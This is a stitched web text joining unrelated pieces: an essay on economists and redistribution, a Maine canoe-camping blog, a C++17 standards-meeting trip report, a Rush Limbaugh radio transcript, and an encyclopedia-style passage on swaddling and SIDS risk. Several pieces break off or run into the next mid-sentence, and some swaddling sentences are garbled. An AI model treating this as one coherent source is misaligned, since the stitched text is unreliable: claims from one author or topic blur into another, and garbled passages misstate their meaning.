Any thinking person surely disapproves of many of the redistributions engaged in by even the most democratic of societies, and economists are singularly united in their disapproval of many of them. (One is entitled to suspect that a person’s disapproval is related to his circumstances: economists believe that federal support of their research is more desirable than federal support of industrial research.) The disapproval of the economists, however, is uninformed.
It is uninformed with respect to the reason that the disapproved policies are adopted—uninformed with respect to what the operative political desires of the community are. Clever economists have displayed an obtuseness in this matter that is difficult to believe. They will say, not year after year but generation after generation: “Parliament, do you not realize that free trade would increase the national income?” As if the Parliament did not know this! At their most sophisticated, these economists have added: “If you must aid farmers or whomever, tax a portion of the larger income obtained with free trade and give the revenue directly to the people the tariff was intended to help.” As if they had studied the comparative efficiency of subsidizing a given group by tariffs as compared with general taxes and selective subsidies.
The true account, then, is that the economists refused to listen to the society, not that the society refused to listen to the economists. What the economists had to say that was relevant was heard and acted upon, but the society insisted also on taking into account the realities of a political process which the economists persisted in viewing as an all-powerful God who shared their preoccupation with efficiency. Nature was not stupid because it required so long for some of its methods to be disclosed to physicists, and society is not stupid because social scientists have been slow learners.
I explain the disregard of economists’ policy advice by the fact that society pursues other values, income redistribution in particular. And I find the traditional explanation given by economists—that society does not comprehend the theories on which our evidence is based—to be unsatisfactory because it fails to account for the efforts that are made to achieve precisely the effects we deplore. No one could support the thesis that societies make no mistakes, especially in a magazine published in Washington, D.C., the center of the mistake industry. But to explain something by saying that it is a mistake is on the same level as explaining it by pointing to invisible spirits.
Reflections on a Chicago Credo
The Chicago economists have nourished as far back as I can remember a credo: people act efficiently in their own interests. The people who make automobiles on average know better what to make and how to make it than the best industrial economists. The worker who chooses an education and a craft on average knows better how to choose than the best labor economist. The householder who buys a consumer good on average knows better what and where to buy than the best home economist.
This is not to say that the economic world is perfect—although it really is pretty impressive—or that its imperfections can never be discovered by an economist—although I am hard put to find an example. The credo does assert, however, that economic agents learn all the presently knowable things it pays them to know—always on average—and act with due regard for this knowledge. The credo
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fire and a breeze were enough to keep them at bay. After setting up camp and dinning on hamburgers, we went for a short paddle and then spent the rest of the night playing cards.
It started raining sometime in the night, and it was continuing when we got up inthe morning. Thankfully, we had a couple of tarps that we were able to rig up over the table, and we were able to stay dry while preparing meals, eating, or hanging out. As we prepared our bacon, eggs and coffee, the rain was reduced to a drizzle and the remainder of the day stayed the same with an occasional shower. We had noticed that our cooler was no longer cool, so decided to cook up the steak tips shortly after Breakfast and had them for lunch, accompanied by baked sweet potatoes. Yes, meals were a big part of the trip.
During the day, we did a little more exploring in the canoe, but stuck to the upper portion of Little Claw since the threat of rain was ever-present. The wind was also pretty consistent, which kept the mosquitoes to a minimum. However, late in the afternoon, the wind picked up and we finally experienced the predicted 30 mph gusts. Shortly after getting settled in the tent for the night, we heard one of the tarp stakes being slingshot across the campsite and the tarps flapping around. We rushed out and decided that the best measure was to take down the tarps. Throughout the rest of the night we were serenaded by waves slapping the shoreline and the wind whipping through the trees. We had intentionally set our tent in a area protected by large bushes, so were spared having to try to sleep in a virtual washing machine.
On Monday morning, we chose to do some more exploring before breakfast. This time, we followed the shoreline along the Little Claw side of Big Island. We worked our way down until we found a protected cove on the leeward side of a small peninsula. Here we tied up the canoe and explored on foot. On the north side of the peninsula, we found a huge bed of moss that I found an irresistible temptation for a nap.
Further along, we discovered a plentiful patch of low-lying blueberry bushes that were still in-season. The Gods were obviously looking out for us that morning. What are the chances of finding ripe wild blueberries before a planned breakfast of pancakes? We pushed the canoe back up Little Claw, fighting wind and waves, with the thought of golden brown blueberry pancakes driving us forward.
We had heard that there was a trail that started along the shoreline and went up to the summit of Lobster Mountain. Based on our maps, it appeared that the trailhead was somewhere around Little Cove. After breakfast, we packed a lunch (and plenty of bug spray) and paddled down to Little Cove. After much searching and harassment from the mosquitoes, we could not find the trail. However, even if we had, I’m not sure spending extensive time with those blood thirsty swarms would have been advisable anyway. Instead, we continued down Little Claw.
Near the southern tip of Little Claw is a small stream just wide enough for a canoe to explore. We paddled up it as slowly and quietly as possible, in hopes of running into some wildlife. About 50 yards in we saw the head of a beaver just before it submerged and disappeared. A little way further up-stream, we ran into the result of his hard labors. Blocking off the stream was a 15 foot wide by 5 foot high dam. The water it was holding back was raised a good 4 feet above the water-level of the stream on the other side.
On the eastern side of Little Claw, and to the south of Big Island, is a large marsh where you would expect to see some wildlife, and maybe even a moose. It is very shallow and dotted with many small rock islands and vegetation. The only thing we saw was a Kingfisher trying to scoop up some lunch.
Since we were now protected from the wind, we decided to stop for lunch. We found a spot to land and climbed a 50 foot cliff where we heated water for our Vegan Hot and Sour soup. The fact that it was Vegan escaped attention when it was purchased. This fact was more difficult to ignore when being consumed. However, I suppose anything tastes edible with enough MSG in it.
We continued through the marsh and exited out into the Big Claw section of the lake. We then followed Big Claw north along the eastern shoreline of Big Island. On this side, we ran into a small flock of Mergansers. We had seen them a few times previously. This time, we were able to get a closer view of these odd-looking variety of ducks.
As we neared the northern tip of Big Island, we noticed that the large span of lake beyond the tip, that section of water that was taking the brunt of the Northwest wind, was a field of whitecaps. Even from a distance we could tell that the waves were large (by lake standards). In order to return to camp, we would have to round the tip, putting us smack in the middle of these waves. Worse, we would have to either take them on broadside (the direct route to camp), or perform a major tack… meaning more time on the water. It was about this time that Erick reminded me that he will never be mistaken for Michael Phelps, since he “sinks like a rock”. I also had my camera gear on-board and, even though it was in a dry bag, I wasn’t anxious to test it at that moment.
We consulted the topo map and discovered that the tip of the island had a sort of neck that appeared to be a lower elevation that the rest of the island and not nearly as wide. In hopes of finding a suitable place to portage across the island, we landed and checked it out. We found that our assumption was true, and had an easy portage.
We weren’t completely out of the fire, since we found ourselves at the wrong end of a long narrow cove, and the waves were being funneled into it. These were averaging 2 feet, with a couple of 3 footers about every 8th wave or so. No problem in a kayak, but in a open canoe designed for flat lake paddling…. Not so much. However, we had now positioned ourselves so that we could take a direct course to camp that was 90 degrees to the waves (better than taking them broadside).
Launching was interesting, but we managed to get on the water and were soon punching into the waves. The first half was exciting as water splashed over the bow as we came crashing over the backs of each wave. But, as we got closer to the other shoreline, the waves gradually subsided the more the wind was blocked by the mainland.
Back at camp we emptied 3 gallons of water out of the canoe, dried off, had a snack and then relaxed until dinner time. I took a nap and by the time I woke up, the wind was barely noticeable. This, of course, meant the mosquitoes were now in their glory and came out in swarms. I was able to take a quick bath in the lake and we threw together a few pizza’s before being chased back to the tent for the night. The next day was our last, and that night I made up my mind that if there was no breeze in the morning, I would suggest skipping breakfast and just packing up and getting out of there as quickly as possible.
Sure enough, the morning proved still, as well as overcast. We managed to breakdown camp and pack the canoe with still enough blood to get on the water and paddle back across the lake to Lobster Stream. On Lobster Stream, we overtook 3 guys who had spent the previous night at the Ogden Point Camp. I felt no envy when they told us that they were working their way up to the Penobscot where they would camp another night. The sky was looking ominous and it was apparent that they were going to have a wet time of it, to say nothing of the mosquitoes.
We were not even out of the canoe when a cloud of black flies was swarming around us at the launch. It was like something out of a horror movie. I had to breath while filtering air through my teeth at the risk of inhaling something. We through all the gear in the truck with total disregard for any sense of order, tossed the canoe on top, and dove into the cab.
The first five minutes was spent ridding the inside of the truck of all the castaway black flies. Then we were ready for the 1+ hour drive out of the wilderness. It was at that moment that I realized, with dismay, that the gas indicator showed nearly empty. Unfortunately, we had not anticipated the ride in on the dirt road to be so long, and we obviously never considered the gas when it actually did take that long. We were screwed… no two ways about it. Erick was more optimistic than I, and thought the ranger at the Caribou Check-in might be able to sell us some gas. I figured we were going to have to hike our way out.
By some sort of divine intervention, we pulled up to an intersection and noticed a painted wooden sign that we had barely caught our attention on the way in. It was for a Country Store that was at the Northeast Carry, the portage point between Moosehead Lake and the Penobscot. The sign listed beer, pizza, ice, and a few other items…. Including gas!!!!!!! We consulted our map and determined that we had to go back the way we had just come and past the launch. We weren’t sure if we had enough gas to get to the Country Store, and most distressing was the possibility that it might be closed for the season, putting us even deeper into the woods when our gas finally ran out. But, the decision was made and we went for it.
We pulled up to the Country Store on fumes and were relieved to discover that it was open and they had one gas tank. We had seen a few cottages as we got close to the store and we figured there must be a few more in the area to warrant the need for such a place. When we inquired we were told that the gas was $4.75 per gallon. This is understandable considering what it took to get the gas in and factoring supply and demand. Given our circumstances, we would have paid 4 times as much.
Before making a second attempt to drive out of the wilderness, I retied the canoe and discovered that the clevis pin for the bow toggle was missing and the toggle was centimeters from coming unattached. This toggle happened to be the secure point for tying the canoe to the front of the truck. I could only imagine what would have happened if this popped off while driving 60mph on the highway. I went back in to the store and bought a package of curved quilting needles for $3.00. From the largest of these, I was able to make a replacement clevis pin that held for the ride home.
Bearing in mind that we had skipped breakfast, one could imagine how hungry we were as we headed back to civilization with thoughts of pancakes, eggs, bacon, and coffee. However, by the time we reached Greenville it was 11:00 and we had to yield to the notion of lunch instead. However, the chili and burgers at Kelly’s Landing, a nice sit-down establishment on the lake, was excellent.
When you spend time in the woods, it never occurs to you how you smell. Such was the case as we sat enjoying our food and the view of the water. However, as we were walking back to the truck, I decided to run back in to use the men’s room. At first, I couldn’t understand why one of the waitresses was standing in the doorway, waving the door back and forth. But, I quickly realized that she was airing out the place. I played stupid as I walked past her and onto my intended destination.I attended the Issaquah meeting with plans to address the C++ 17 National body comments. Upon arrival, I was also asked to chair the Evolution Working Group as the chair was delayed in arrival. I will describe in this post some of the thinking process involved in such a role.
I compiled a slide deck of that describes all the new and changed features based on the Issaquah meeting. There is also a video embedded below that was recorded at the final plenary session at Meeting C++, where more than 700 people attended. It provides an update of the presentation in the slides linked above. I also presented this to 600 people as a keynote on Heterogeneous Computing in C++ at code::dive in Poland the day immediately after the C++ Standard meeting.
It is a sign of the stability of the C++17 CD that there were significantly less comments than the two combined C++11 CDs. The chart below shows how the various releases of C++11, 14, and 17 rank in terms of how many comments were submitted from the various Nations.
The next charts show their distribution for this release by Nations, and through the various working groups. As usual the US submitted the most, but we also had comments from Spain, GB, Canada, Finland, France, Russia, Japan, and Switzerland. I worked most of this summer helping to deliver the Canadian comments as its Head of Delegation, while also involved now with the UK comments. This involves reviewing the C++17 CD page by page.
The comments are coded by 2 letter country designation with CH being Switzerland. There is the official comment paper which accumulates each Nation's comments, similar to the United Nations.
P0488R0 WG21 Working paper: NB Comments, ISO/IEC CD 14882
and a Late paper which we still accepted and processed (though there is no guarantee that would normally happen):
P0489R0 WG21 Working paper: Late Comments on CD 14882
In reality, most of the people who comment on these drafts already attend the Standard meetings and are familiar with the issues. Some National Bodies are very organized, with work load spread out between teams with assignment to review specific chapters, while others work on a more ad-hoc basis. Belonging to both the Canadian and the UK delegation currently, and used to working within the US delegation, I see all forms and everything in between.
Most of the comments by far were aimed at Library and LEWG, while Evolution had about 60, and SG1 had about 20.
If you recall from my last trip report from the C++ Standard Oulu meeting in June, there was some diverging opinion about several key feature inclusions and exclusions in C++17. So it is no surprise that their disappointment was repeated through the National Body (NB) Comments. In turn, some nations put in defensive comments pre-emptively to balance out the opposition.
There were many opposing comments from several NBs asking variously to add back or remove concepts/unified call syntax/default comparison, inline variables, and many other issues that were viewed as contentious (note many of the features have links in the downloadable slides). These issues were decided on Monday first thing in full plenary to see if there was any increase in consensus and could be changed from what was already in the draft. We have got used to this as the best way to deal with these potentially contentious issues early, so as not to waste committee time working on them. It would be a waste of time to do that, only to have them voted down if people had already decided, when that time could be better advancing something else.
The following votes were taken immediately in the Monday plenary involving Evolution of C++ language design:
ES 4, US 2, Late5: Add back concepts (all or part): 22 for, 24 against adding; no consensus (will not discuss)
ES 5, US 68: Add back unified call syntax P0301R0
ES 7, US 5, US 69, RU 5, Late7, Late14: Add back default comparisons P0221R2
ES 1, US 65, Late13: remove inline variables ( P0386R2
The other set are Library issues:
GB 44, FI 5: Remove elementary string conversions P0067R4: 1 for removal, will discuss
US 18, US 70: remove dynamic exception specifications P0003R4
US 22, CA 11, Late11: Add in std::byte P0298R1
ES 6, US 21, US 67, Late8, Late10: Add in operator dot P0252R2: 30 against adding: will not discuss
The only issue that had mild consensus for a possible change was adding default comparison operator, removing elementary string conversion, removing dynamic exception specification, and adding std::byte as these all squeaked by with a low number of negative votes. Everything else stays as is after the morning poll meaning that, while they were the only ones up for discussion the rest of the week, they would need very compelling reasons to be changed.
Thanks to ViIle and Jens as they had already separated all the NB comments into different WGs and VIlle already had organized the list to be triaged by EWG, so all I had to do was make sure EWG stayed on target, working through all the NB comments assigned to us until ViIle arrived.
Evolution Working Group
This group is in charge of designing new language addition to C++. Chairing EWG was fun though I have to slow down my speech style considerably to match the current chair’s style.
We triaged all issues by assigning a priority status to each one as follows:
Immediate yes for simple and obvious comments
Immediate no for simple and obvious comments
Pass to another Working Group (WG)
Need extensive discussion so defer until after the triage
Need a paper post-meeting due to its complexity or controversial position
This allowed us to immediately work through all the issues, leaving only those that need discussion/paper to be extensively scheduled in the following days.
In all cases, we would need to increase consensus in order for something to be changed in the Draft. This means the bar for a change at this stage is very high, so while people can have high expectations (fix all problems, add this great feature back, remove this feature) and people do, most will be resolved as No Consensus. People are always invited to write a paper if they are dissatisfied. This is the only way to push through progress.
Deduction Guides
Sometimes, the interaction of some issues between Working Groups is such that we would need to have a joint session. I called for this to occur on Monday afternoon with a joint session of Evolution and Library Evolution on Deduction Guides, as the triage had revealed an unusually large number of issues relating to deduction guides and this impacted Library design. Deduction guides are new to C++17 from this feature called "template parameter deduction for constructors"
It enables the use of explicit deduction rules to be created and used along with current implicit deduction rules for template arguments. This simplified certain formulations for variadic lock guard, as an example in the paper but it has general uses. This introduces some problems when it is applied uniformly to the Standard library, and in most cases the existing constructor syntax already provide the desired behavior, but in some cases explicit deduction guides would be needed to complement the implicit deduction cases. The National Body comments fills in the gaps on a few missing cases and also fixes inconsistencies. There were also dueling comments that proposed removing all implicit deduction guides in favor of explicit deduction guides, while others proposed tweaking implicit deduction guides. The committee decided that implicit deduction guides are to be kept, and where needed explicit deduction guides be added.
Other National Body comments we reviewed involved:
Expression Evaluation Order
These comments are concerned with the change in evaluation order from this proposal commonly called " Refining Expression Evaluation Order for Idiomatic C++"
where
a+=b, a-=b,
and all variants with = where b is evaluated before a will have a different evaluation order as
a.operator=(b)
where a is evaluated before b.This may look bad, but it was worse before C++17 as it was undefined, so code that relied on this evaluation order was not really portable and may have relied on one compiler's behavior. Now at least it is well-defined.
There was some concern about this feature when it was approved, but one compiler implementer had implemented it and found reasonable speedups, while others have done code-base searches and found no impact. There was no consensus at this meeting to reverse this feature out of C++17 so it stays.
Decomposition declarations (aka structured binding)
Tthese comments are concerned with the change in syntax in this proposal called "Structured bindings" where we can store a value and bind names to its components
Most comments concerned that [] was chosen over the original {} syntax and some want that reversed though that had no consensus. There were other concerns including enabling modifiers (static, extern, inline, constexpr, and thread_local), init-captures, arrays support, discarding values in declarations, explicit types in decomposition declaration, decomposition in parenthesis, and when is get<>() functions called. Almost all were either rejected or were to be considered post-C++17 extensions. The only one that was accepted was Decomposition declarations in parenthesis which allows
auto[a, b, c] {expr}, auto[a, b, c]= expr, and auto[a, b, c] (expr)
for uniformity reasons.
Default comparison revival
This one is not in C++17 but many want to revive it with a simplified proposal such as only enabling == and!=, or make the syntax be opt-in only, or a more comprehensive proposal that enables multi-way comparison which gained popularity in the end but it would require more work. All of these were deferred to post C++17.
std::byte
This was a final controversy that occurred in plenary requiring a vote to be withdrawn. This feature adds a byte type with no arithmetic operations to C++ but it was not in C++17, and there were several comments including one from Canada that wish to add it in as all the work had been completed on it but due to a procedural mishap, it was not included.The only sub-part that became controversial is the name of "byte" which had been bikeshed. Some want it to be a storage_byte so that it is clear that this is about storage and not arithmetic operations. The feature was proposed to be added for C++17 to address the comment but without the name change. At the plenary, the name concern was brought up and this caused enough people to change their mind and this was not added. There is discussion to have this vote to be retaken in the next meeting as the proposal had gone through all sub groups and it is uncommon to have it reversed at plenary. However, it does happen and I am working behind the scene with the Canadians to deal with this sensibly.
Parallelism and Concurrency (SG1)
SG1 had about 20 comments and there were again some dueling varieties. Here are some of the most prominent controversies some of which involved SYCL as it became a prominent use case discussion during SG1:
Parallel Algorithms Exception Handling
In C++17, we added most of Parallel Algorithm TS1 as is. This enabled STL algorithms to be executed, potentially on CPUs in parallel by the addition of an extra parameter at the beginning of say STL sort, for example. But its pedigree was really GPUs and Heterogeneous Programming, and as such this opens the door towards that support. This parameter is called execution policy. So what is an execution policy? It promise that a particular kind of reordering will preserve meaning of program. These were called
par, seq and par_vec
in the TS. It enables the predicate function to be executed in an unordered sequence. More specifically, par means the algorithm is permitted to invoke the user-provided function objects unsequenced if invoked in different threads, or invoke them in indeterminate order if executed on one thread. And par_vec means the algorithm is permitted to invoke the user-defined function objects in unordered fashion in unspecified threads, or invoke them unsequenced if executed on one thread.
Here are some examples of their use in the TS:
std::algo(std::seq, begin, end, Func);
std::algo(std::par, begin, end, Func);
std::algo(std::par_vec, begin, end, Func);
However, even before the TS was added to C++ 17, we had removed or changed in the C++17 CD the following features from the TS:
removed dynamic execution policy in order to not preserve state in preparation for future addition of new execution policies
changed par_vec to par_unseq as a better naming convention
But the most interesting change from the Oulu meeting was the replacement of exception_list with terminate and don't unwind. Exception_list is how parallel algorithms handle exceptions. Essentially, they are a list of exception_ptrs. In other words, exception can enter, but can not exit and if they were to escape, then the system is allowed to terminate without unwinding. The reason is because many feel that exception_lists are really unmanageable and few implementers other then SYCL have actually implemented it. If you have plenty of threads, say in a GPU, or even in a CPU with nested context, then a multitude of exceptions could arise, say one from each thread. SG1 agreed and until we know what to do with the exception handling policy, we would prefer to not introduce something that is unmanageable and can not be fixed once it is enshrined in a Standard. This change generated a lot of NB comments (US15, US167, US17, US169, US16, US168, US170, CA17). There were those who wanted to bring back the original policy because they care about a safety context where system must be able to report an exception, and unwind. There are those who wanted it to be removed because they knew this was temporary and indeed is the state of how most parallel system handle exceptions when they escape (including OpenMP parallel regions). During deliberation at Issaquah, there was suggestion that we create a second variant of the policy that were known to throw no exceptions and those that were known to throw. This would have created 6 sets of execution policies, and in my opinion open the door to bifurcate on every quality we can think of, and therefore deeply undesirable. So I suggested that we enable a way to support future policies resembling exception reduction. But this is only possible if we were to change the current Parallel Algorithm exception to be attached to the policy, and not to the algorithm. This change obtained greater consensus and was the only change that was approved. So in the C++17 CD exceptions that escape continues to terminate and don't unwind. This change opens the door to enable us to customize a more flexible policy for parallel algorithms. This was ultimately voted into the Working Paper for C++17 through P0502.
inner_product becomes transform_reduce
This is one of the current Parallel Algorithms and it contains incorrect parameter ordering for inner_product and some extra overloads as described in US 159, US 160, US 161, US 162, US 184 and it was agreed to be renamed to transform_reduce. More specifically, it renamed inner_product() to transform_reduce() and reorganized some of the parameters. It removes the ExecutionPolicy overloads for inner_product() and adjacent_difference() because it cannot be parallelized. This work still requires some LWG approval so it will continue into the next meeting.
Parallel Algorithm iterator requirements
The current Parallelism TS restricts it to InputIterators as described by US 156, which are not well-specifed, because they invalidate too frequently, necessitating a copy ability for copying an input Range, or even serialization to an Output Iterator. The basic problem with an Input Iterator is that it does not provide the multi-pass guarantee due to the invalidation (when it grows, for example). This makes it impossible for a parallel algorithm to work with different subsequences at the same time, as it is not possible to advance the iterator to refer to such subsequences without invalidating the iterators used by other threads.This paper specifically cites SYCL as one that requires the ability to copy Parallel Algorithm arguments into subranges (what SYCL called buffers though in this case, SYCL uses a non-Std policy an so it is still conforming and it does it to prepare for running the parallel Algorithm on GPUs) and suggest to promote the requirement to RandomAccessIterators. SG1 considered that but there was no consensus for the change because that may be too restrictive. In terms of SYCL 1.2, we are effectively only supporting contiguous_iterators although we do not check for it since they don't exist in C++14 though some form will exist for C++17. It was agreed by SG1 that we will simply put a note warning people that the choice of iterators can affect performance, in that it may fall back to sequential, which is entirely allowed by the specification. If anything cannot be satisfied by the implementation, then it is allowed to fall back from par_unseq, to par, to seq. What this means is that the Std execution policy can probably only be used in CPUs and shared memory. If it has NUMA, then it will likely need to be copied and it may fall back to the sequential case. This warning note will be reviewed by LWG in the next meeting.
Enable copies of arguments of Parallel Algorithms
One of the most important comments came from CH11 which asked that we be allowed copying of argument objects in parallel algorithm. This is currently not allowed for standard execution policies and is a problem if people ever want to use them even in CPUs with NUMA, but more specifically to enable use on GPUs which have separate memory space, then copies must be allowed. Indeed SYCL does this, not with the Standard execution policies, but with a vendor-supplied SYCL execution policy which is allowed. I think this is one of the most important comments to address for future heterogeneous programming in C++. The proposal did initially gain agreement and I was asked to draft the fix with others, but when people looked at our wording, which used words like "should not take the address of" as a proxy for working on copies, they backtracked and are now concerned about its adaption. This work also continues in the next meeting where SG1 will take another look at our wording fix.
In addition to these major issues, we also looked at how to break up the various SG1 TSs. I currently edit the Concurrency TS, and it was decided at this meeting that Concurrency TS2 will contain:
A separate TS will deliver executors because it is needed to support both parallelism and concurrency. Executors have been a topic of great discussion that I have been chairing for the last three months since the Oulu meeting to try to bring together the three competing proposals. At the Issaquah meeting we prepared a unified paper from the months of discussion that looks promising to advance the status. I will describe this in more detail in a future blog post.
Parallelism TS2 will contain task blocks, vector/simd datapar, as well as loop-based vector/symd execution policies.
Here is an updated slide of how SG1 intends to separate out the various TSes:
In SG1, we got to work on not just NB defects, but also some new features for C++20 as shown above as we cleared all NB comments by Wednesday, although other groups continue to work on them as they had far more to deal with. We presented 2 techniques for lock-free programming, called Hazard pointers and Read-Copy-update as enhancements on top of shared_ptr and atomic shared_ptr that can be packaged into a concurrency toolkit. My Cppcon 2016 talk will demonstrate it more. This presents a C++ interface to these techniques as well as show the advantages and disadvantages when compared to reference counting. Both works have been encouraged to continue.
I also worked on Memory order Consume, asychronous algorithms, and presented Concurrent ring span as the proxy for SG14.
Other work that was presented, and asked to continue and revise for next meeting are:
Here is the current status of all the comments. Some of these may change and a final document will be published after the Kona meeting as a Record of Response. At the suggestion of my colleague, Ruyman, I have removed the empty rows where we are still working on the resolution.
By the next meeting in February, the remaining comments will be triaged and we will be in a position to release C++17 for NB ballot again, this time as a Draft International Standard (DIS). If all goes well, the vote will be presented in the July Toronto meeting, and we will be ready to celebrate and push C++17 to be published by the end of 2017. At this point, I don't see any show stoppers and certainly expect that prediction to come true. However, the biggest issues tends to be settle only at the end, so there may still be problems but we will not know until then. So stay tuned.Tech Titans Praise President Trump at White House Meeting
RUSH: Yesterday — and this, ladies and gentlemen? The people that watch CNN or read the New York Times do not know about this. But they’re gonna hear it because we have the audio sound bites coming up. Yesterday President Trump met with the nation’s leading technological CEOs, such as the CEO of Microsoft, the chairman and CEO of Alphabet, Eric Schmidt. He’s not the CEO anymore, but he’s the chairman. He’s the head honcho in emeritus, in perpetuity. Tim Cook from Apple.
There were a number of them there, and it was just like the cabinet meeting that Trump had last week. Trump had his first full cabinet meeting where every cabinet meeting had been confirmed and showed up, and if you recall, they went around the table. Every cabinet member introduced himself or herself to all the others, explained what they’ve been doing, and every one of them took time to tell each other how excited they were to be in the cabinet.
They said how pleased they were and honored they were to be working for and with President Trump, and the Drive-Bys are in conniption fits claiming that Trump obviously ordered them to do this. “These people don’t really think this! Trump’s a buffoon. Trump’s a pig. Trump had to obviously demand these people do it or else,” and we learned that that wasn’t the case. It wasn’t staged. It wasn’t written. And had it been staged, it would have leaked before it happened. But it didn’t.
Well, yesterday, Silicon Valley tech CEOs — who, trust me: The people that work for them and the tech journalist community hate Trump. You should have seen it. My little tech bloggers went nuts with rage and anger when they found out all these guys were just gonna meet with Trump. During the meeting (we’ve got the audio sound bites), these tech CEOs praised Trump to the hilt. They spoke positively of the meeting they were having and had, and the great things to come out of it, and what Trump basically asked was for some help.
He said, “We don’t know what we’re doing here in government. You do.” He said, “There’s nobody like you. We’re wasting money. We don’t have the right systems here in terms of our computer networks to administer what we do. We asked them for assistance in downsizing it and making it more efficient.” They told him what they think his agenda ought to include. They sang his praises. CNN and the New York Times don’t dare report this.
BREAK TRANSCRIPT
RUSH: Remember the Trump cabinet meeting, all these cabinet members running around praising Trump, what an honor it was to work there, detailing what they were doing, the success they were having, how enthusiastic they were for it? And the media accused them all of being forced to say it by Trump. Because, you see, in the inside-the-Beltway world, nobody thinks that of Trump. Nobody normal.
Nobody thinks it’s honor to be in the Trump administration, and nobody thinks Trump knows what he’s talking about, and nobody can possibly imagine actually praising the brute. Who in the hell would do that? So Trump had to tell ’em. They were under orders. (This was the story.) Trust obviously had cajoled and threatened these people to praise him or else. The best evidence that that wasn’t the case is that it didn’t leak beforehand.
If Trump had done that or if somebody in Trump’s administration had called the cabinet and said, “You will praise Trump and you will say how much you like him and you will talk about how much you admire him and you will say you can’t wait to do the job,” that would have leaked. But it didn’t. Well, yesterday some of the most powerful leaders in Silicon Valley and the American high-tech world came to town to meet with Trump. He loves them.
He said, “You know, you people are unique. There’s nobody in America like you. We don’t have anybody that can do what you do.” And he asked them for their help in modernizing the United States computer systems. He gave examples that they spend $86 billion a year, and they have horrible encryption. This is not NSA-FBI stuff. This is all the intergovernmental agencies, the cabinet-level posts. He said (paraphrased), “We’re so far behind.
“We’ve got bloated agencies. We waste all this money. We don’t have anywhere near bang for the buck,” and he wants their assistance, and I just want you to listen to these people after the meeting describe Trump. These are leftists. Many of these are hard-core opponents to Trump. The people that work for them, these are people at Microsoft, Apple, Google. Most of the people that work there think they should hate Trump, think Trump is bad for Silicon Valley.
Tech blog journalists hate Trump, and they were ripping these CEOs across the board for going. Instead of thinking, “Man, Trump’s taking time out to meet with these guys? How can these guys turn it around so Trump could be…?” They didn’t see it that way. They were totally embarrassed and they turned on these CEOs for even daring to show up with Trump. So let’s listen to them speak. We’ll start out here with Satya Nadella, who is the CEO of Microsoft. Here’s what he said…
NADELLA: Thank you, Mr. President. Thanks for the opportunity today to spend the time, both learn and contribute to what is one of the most important dialogues, which is about modernizing our government with the latest technology.
RUSH: Jeff Bezos, Amazon-Whole Foods…
BEZOS: I applaud the formation of the Innovation Council, and I thank Jared for doing that. Using commercial technologies wherever possible — I think you guys are already headed that way. But to leverage those will save taxpayers a lot of money.
RUSH: By the way, did you hear how Bezos ended up buying Whole Foods? He had his Echo in the room, and he said, “Alexa, get me something from Whole Foods,” and Alexa replied, “Buying Whole Foods,” and that’s how it happened. (interruption) You didn’t hear that story? Anyway, so Bezos is supposedly an archenemy of Trump’s and vice versa. Let’s keep going. This is the CEO of Akamai, Tom Leighton. Let me tell you what Akamai does.
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blood flow would be restricted.
Regional variations [ edit ]
Swaddling still is distributed worldwide.[18] In some countries, swaddling is the standard treatment of babies. In Turkey, for instance, 93.1% of all babies become swaddled in the traditional way.[19] According to the Human Relations Area Files (HRAF), 39% of all documented contemporary non-industrialized cultures show swaddling practices; further 19% use other methods of movement restriction for infants.[20] Some authors assume that the popularity of swaddling is growing in the U.S., Great Britain and the Netherlands.[21] A British sample showed up 19.4% of the babies are swaddled at night.[22] In Germany, swaddling is not used as routine care measure and experiences relatively little acceptance, as the missing mentioning of this practice in the standard work on regulatory disturbances of Papusek shows.[23]
Medical uses [ edit ]
Swaddling as a medical intervention with a clearly limited indication range is used in the care practices of premature babies or crybabies with brain-organically provable damage.[24] Also swaddling is used for reducing pain in such care actions as collecting blood at the heel.[25] The swaddling of these premature babies (very low birth weight infants) takes place only very loosely. It is meant to hold the weak arms at the body and make certain movements possible.[26] This "swaddling" is something completely different from traditional swaddling in the stretched position.
Psychological and physiological effects [ edit ]
Modern medical studies of swaddling use a form that is considerably shorter and less severe than the historical forms. The results of such studies are therefore to be understood only as assessments of historical practices. The classical study by Lipton et al. of 1965 dealt with a modern swaddling form. The researchers described the two main effects of tightly wrapping babies: they are motorically calm and sleep much.[27] These effects are detected by means of various psycho-physiological parameters, such as heart rate, sleep duration and duration of crying. The research group around the Dutch biologist van Sleuwen in 2007 confirms this picture in their latest meta-analysis of medical studies on swaddling and its effects.[28]
However, severe restrictions on the scope of these studies should be kept in mind, because most of the positive effects mentioned by van Sleuwen et al. are not related to normally developed newborns, but to impaired babies, namely premature babies and babies with detectable organic brain damage.[29] Swaddling enhances the REM sleep (active sleep) and also the whole sleep duration.[30] The effect of swaddling on the regulatory disturbance excessive crying is not very convincing: By adding the swaddling there is an immediate "calming" effect on children, but after a few days the effect of the introduction of regularity with swaddling is exactly the same as the regularity on its own.[31] In other words: after a few days swaddling is completely unnecessary. It is therefore contraindicated to address the potential risk of swaddling, because the effect is only for a short term available, but after a little while is negligible.[32]
Motor development [ edit ]
Two studies based on indigenous peoples of the Americas did not show a delay in the onset of walking caused by the restraint of the use of the cradleboard.[33] In other areas of the motor development, clear delays of the development show up even when mild restrictions take place.[34] Skepticism concerning the allegedly missing effect of swaddling on the onset of walking delivers a Japanese study: the application of the basket cradle (ejiko) leads to a delayed onset of walking.[35] An older Austrian study showed that swaddled Albanian babies showed a delayed ability to crawl and reach things with their hands.[36] This shows the need for further substantial scientific clarifying regarding the impairment of motor skills by swaddling.
Sudden infant death syndrome [ edit ]
The effects of swaddling on the sudden infant death syndrome (SIDS) are unclear.[37] A 2016 review found tentative evidence that swaddling increases risk of SIDS, especially among babies placed on their stomachs or side while sleeping.[38]
Swaddling was supposed to keep babies on their back, in order to prevent SIDS. Swaddling itself is not seen as a protective factor for SIDS. Swaddling may even increases the risk when babies sleep in the prone position; it reduces the risk if they sleep in the supine position.[39] A recent study demonstrated now, that swaddling is apparently a risk factor for SIDS, although the opposite was often previously assumed: Of the babies who died of SIDS, 24% were swaddled; in the control-groups only 6% were swaddled.[40]
Documented negative effects [ edit ]
Several empirical studies show evidence of negative effects of swaddling.
Swaddling, especially traditional forms, increases the risk for hip dysplasia. [41] [42] [43] [44] [45] [46] [47]
Tight swaddling, particularly where the head is covered, reduces the baby's ability to cool its body temperature which can lead to hyperthermia. [48] In one case, a heavily wrapped child died of hyperthermia. [49]
In one case, a heavily wrapped child died of hyperthermia. In one study, the risk of developing respiratory infections increased fourfold by swaddling. [50]
A pediatrician found in his sample the flattening of the occipital aspect of the head of babies, who were wrapped tightly and lay in their traditional cradles. [51]
